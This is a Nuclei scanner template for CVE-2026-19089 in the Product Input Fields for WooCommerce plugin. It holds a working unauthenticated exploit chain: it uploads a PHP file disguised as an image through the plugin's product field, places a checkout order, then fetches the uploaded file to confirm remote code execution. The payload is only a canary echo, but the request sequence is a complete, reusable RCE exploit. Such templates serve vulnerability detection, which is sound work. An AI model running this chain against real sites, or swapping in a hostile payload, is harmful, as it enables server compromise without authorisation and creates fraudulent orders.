id: CVE-2026-19089

info:
  name: Product Input Fields for WooCommerce < 2.0.2 - Arbitrary File Upload to RCE
  author: Het Kalariya
  severity: critical
  description: |
    WooCommerce WordPress plugin < 2.0.2 contains an unrestricted file upload vulnerability caused by lack of validation on uploaded file types when accepted-types setting is empty, letting unauthenticated attackers upload arbitrary files and achieve remote code execution on servers ignoring directory access rules, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can upload arbitrary files and execute code remotely, potentially leading to full server compromise.
  remediation: |
    Update to version 2.0.2 or later.
  reference:
    - https://wpscan.com/vulnerability/c5728a31-de92-40df-ab19-aec4db84ba21/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-19089
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-19089
    epss-score: 0.03232
    epss-percentile: 0.88173
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 7
    vendor: tychesoftwares
    product: product-input-fields-for-woocommerce
    framework: wordpress
  tags: cve,cve2026,wordpress,wp-plugin,woocommerce,product-input-fields-for-woocommerce,fileupload,rce,intrusive

variables:
  shopper_email: "aev-canary@example.com"
  first_name: "Aev"
  last_name: "Canary"

http:
  - raw:
      - |
        GET /shop/ HTTP/1.1
        Host: {{Hostname}}

      - |
        GET {{product_path}} HTTP/1.1
        Host: {{Hostname}}

      - |
        POST {{product_path}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----pifcanary

        ------pifcanary
        Content-Disposition: form-data; name="add-to-cart"

        {{product_id}}
        ------pifcanary
        Content-Disposition: form-data; name="quantity"

        1
        ------pifcanary
        Content-Disposition: form-data; name="{{field_name}}"; filename="up.php"
        Content-Type: image/jpeg

        <?php echo "PIF_CANARY_" . (17 * 31) . "_PHP" . PHP_MAJOR_VERSION . "_OK"; ?>
        ------pifcanary--

      - |
        GET /wp-json/wc/store/v1/cart HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wp-json/wc/store/v1/checkout HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Nonce: {{nonce}}

        {"billing_address":{"first_name":"{{first_name}}","last_name":"{{last_name}}","address_1":"1 St","city":"C","state":"CA","postcode":"90210","country":"US","email":"{{shopper_email}}","phone":"1234567"},"shipping_address":{"first_name":"{{first_name}}","last_name":"{{last_name}}","address_1":"1 St","city":"C","state":"CA","postcode":"90210","country":"US","phone":"1234567"},"payment_method":"cod"}

      - |
        GET /wp-json/wc/store/v1/order/{{order_id}}?key={{order_key}}&billing_email={{shopper_email}} HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-content/uploads/woocommerce_uploads/alg_uploads/product_input_fields/{{item_id}}_up.php HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: product_path
        part: body
        internal: true
        regex:
          - 'href="https?://[^/"]*(/product/[A-Za-z0-9\-_]+/?)"'
        group: 1
      - type: regex
        name: product_id
        part: body
        internal: true
        regex:
          - 'name="add-to-cart"\s+value="(\d+)"'
        group: 1
      - type: regex
        name: field_name
        part: body
        internal: true
        regex:
          - '"fieldName":"(alg_wc_pif_global_\d+)","type":"file"'
          - 'type="file"[^>]{0,600}?name="(alg_wc_pif_global_\d+)"'
          - 'name="(alg_wc_pif_global_\d+)"[^>]{0,600}?type="file"'
        group: 1
      - type: regex
        name: nonce
        part: header
        internal: true
        regex:
          - '(?m)^Nonce:\s*(\S+)'
        group: 1
      - type: regex
        name: order_id
        part: body
        internal: true
        regex:
          - '"order_id":\s*(\d+)'
        group: 1
      - type: regex
        name: order_key
        part: body
        internal: true
        regex:
          - '"order_key":\s*"([^"]+)"'
        group: 1
      - type: regex
        name: item_id
        part: body
        internal: true
        regex:
          - '"items"\s*:\s*\[\s*\{[^}]{0,500}?"id":\s*(\d+)'
        group: 1

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PIF_CANARY_527_PHP"
      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f294e1565dd32b5036f8093289fe457f4b5ff8fd809601d1732033dc67deab0b02201fc45cc0e94d912ab4b79131d0ef78ff3204d8f898359c4466feb3d2e545ebdd:922c64590222798bb761d5b6d8e72950